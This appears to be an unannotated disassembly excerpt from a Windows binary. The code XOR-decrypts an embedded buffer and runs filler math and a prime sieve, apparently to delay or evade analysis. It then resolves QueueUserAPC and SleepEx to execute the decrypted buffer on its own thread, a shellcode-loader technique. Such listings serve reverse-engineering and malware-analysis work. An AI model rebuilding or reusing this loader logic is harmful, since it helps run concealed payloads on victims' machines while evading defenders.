movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x730]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x734]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x730], 0
jmp 0x1400029bd
mov eax, dword [rbp + 0x734]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x730]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x734]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x730], 1
add dword [rbp + 0x734], 1
mov eax, dword [rbp + 0x734]
cmp eax, 0x21
jbe 0x140002951
mov dword [rbp + 0x734], 0
jmp 0x140002b45
cmp dword [rbp + 0x72c], 0x21
jne 0x140002af9
mov eax, dword [rbp + 0x734]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x72c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x734]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x72c], 0
mov dword [rbp + 0x724], 0xffffffff
mov ecx, 0x19b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x510], rax
add dword [rbp + 0x724], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x510]
add rax, rdx
movsd xmm1, qword [0x140006588]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x510]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x724]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x510]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x724], 0x335
jle 0x140002a4e
jmp 0x140002b3e
mov eax, dword [rbp + 0x734]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x72c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x734]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x72c], 1
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x450
jle 0x1400029de
mov dword [rbp + 0x718], 0
mov dword [rbp + 0x544], 0x14f
mov dword [rbp + 0x540], 0xa7
mov eax, dword [rbp + 0x544]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x538], rax
mov dword [rbp + 0x720], 0
jmp 0x140002bc6
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x538]
add rdx, rax
mov eax, dword [rbp + 0x720]
mov dword [rdx], eax
add dword [rbp + 0x720], 1
mov eax, dword [rbp + 0x720]
cmp eax, dword [rbp + 0x540]
jl 0x140002b9d
mov dword [rbp + 0x720], 1
jmp 0x140002c58
mov eax, dword [rbp + 0x720]
mov dword [rbp + 0x71c], eax
jmp 0x140002c2f
mov edx, dword [rbp + 0x720]
mov eax, dword [rbp + 0x71c]
add edx, eax
mov eax, dword [rbp + 0x720]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x71c]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x538]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x71c], 1
mov eax, dword [rbp + 0x540]
sub eax, dword [rbp + 0x720]
mov edx, dword [rbp + 0x720]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x71c], eax
jle 0x140002bee
add dword [rbp + 0x720], 1
mov eax, dword [rbp + 0x720]
cmp eax, dword [rbp + 0x540]
jl 0x140002be0
cmp dword [rbp + 0x544], 2
jle 0x140002c9c
mov eax, dword [rbp + 0x718]
lea edx, [rax + 1]
mov dword [rbp + 0x718], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x538]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x720], 1
jmp 0x140002d00
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x538]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002cf9
mov eax, dword [rbp + 0x720]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x718]
lea edx, [rax + 1]
mov dword [rbp + 0x718], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x538]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x720], 1
mov eax, dword [rbp + 0x720]
cmp eax, dword [rbp + 0x540]
jl 0x140002ca8
mov dword [rbp + 0x534], 2
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x720], 0
jmp 0x140002d5c
mov eax, dword [rbp + 0x720]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x538]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002d55
add dword [rbp + 0x714], 1
add dword [rbp + 0x720], 1
mov eax, dword [rbp + 0x720]
cmp eax, dword [rbp + 0x534]
jl 0x140002d2e
mov rax, qword [rbp + 0x538]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x700]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x700]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x518], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x528]
mov r9, qword [rbp + 0x520]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x518]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x780]
add rsp, 0x818
pop rbx
pop rsi
pop rdi
pop rbp
ret